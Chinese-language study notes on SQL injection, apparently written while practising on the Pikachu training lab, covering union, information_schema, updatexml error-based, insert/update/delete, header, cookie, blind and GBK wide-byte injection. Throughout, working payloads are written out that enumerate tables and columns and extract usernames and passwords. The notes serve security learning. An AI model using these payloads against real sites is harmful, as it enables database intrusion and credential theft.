sql注入的一些笔记
注入分类
- 数字型注入
select id,email from member where id=1 or 1=1 ;
-字符型注入
select id,email from member where username='vince' or 1=1 ;
- 搜索型注入
select * from 表名 where 字段名 like ‘%(对应值)%’;
- XX型注入
select * from 表名 where name = ('')
构造为: XX') or 1=1#
注入提交方式
-get提交
-post提交
-cookie提交
image.png
攻击类型
- union注入
a' union select database(),user(),version()#%,
-information_schema注入
获取pikachu数据库的表名a' union select table_schema ,table_name from information_schema.tables where table_schema='pikachu'#
获取pikachu数据库的字段名 a' union select table_name,column_name,3 from information_schema.columns where table_name='users'#%
最后获取字段值的内容,输入:kobe'union select username ,password from users#%
- 基于函数报错注入
1.思路:在MYSQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息,常见的select/insert/update/delete注入都可以使用报错方式来获取信息.
2.条件:后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端.
3.基于报错的信息获取(三个常用的用来报错的函数)
updatexml():函数是MYSQL对XML文档数据进行查询和修改的XPATH函数.
extractvalue() :函数也是MYSQL对XML文档数据进行查询的XPATH函数.
floor():MYSQL中用来取整的函数.
4.基于报错的信息获取
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
- insert / update /delete利用操作错误获取信息
1 . insert注入
insert注入,就是前端注册的信息最终会被后台通过insert这个操作插入数据库,后台在接受前端的注册数据时没有做防SQL注入的处理,导致前端的输入可以直接拼接SQL到后端的insert相关内容中,导致了insert注入。
到数据库中输入insert into member (username,pw,sex,phonenum,email,address) values('oldboy',123456,1,2,3,4);来插入一个用户,在输入select * from member;查看所有用户
进入网站注册页面,填写网站注册相关信息,通过Burp抓包在用户名输入相关payload,格式如下:
oldboy'or updatexml(1,concat(0x7e,(命令)),0) or'
1. 爆表名
oldboy'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or'
image.png
- 爆列名
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0) or'
image.png
- 爆内容
' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or' 等同
' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or '1'='1''
image.png
2 . update注入
' or updatexml(0,concat(0x7e,(database())),0) or'
image.png
3 . dalete注入
delete from message where id=56 or updatexml(2,concat(0x7e,(database())),0)
-
Http Header注入
image.png
-Cookie注入
image.png
- 盲注 Boolian(布尔型) / 时间 / 报错型
-宽字节注入
当我们把php.ini文件里面的magic_quotes_gqc参数设为ON时,所有的'(单引号),"(双引号),(反斜杠)和null字符都会被自动加上一个反斜杠进行转义。还有很多函数有类似的作用如:addslashes()、mysql_escape_string()、mysql_real_escape_string()等,另外还有parse_str()后的变量也受magic_quotes_gpc的影响。目前大多数的主机都打开了这个选项,并且很多程序员也注意使用上面那些函数去过滤变量,这看上去很安全,很多漏洞查找者或者工具遇到这些函数过滤后的变量直接就放弃,但是就在他们放弃的同时也放过很多致命的安全漏洞。
其中\的URL编码是 %5C ,当我们在单引号前面加上%df的时候,最终就会变成 運',如果程序的默认字符集是GBK等宽字节字符集,则MYSQL用GBK的编码时,会认为 %df 是一个宽字符,也就是運,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。
' =======>'单引号转义后占两个字节,所以我们需要通过繁体字%df构造两个字节,最终用運干掉了\,也就是说被運占领了\ 所以最后在页面也不会显示出来.
小提示: 数字和字母占一个字节,汉字占两个字节。
image.png
image.png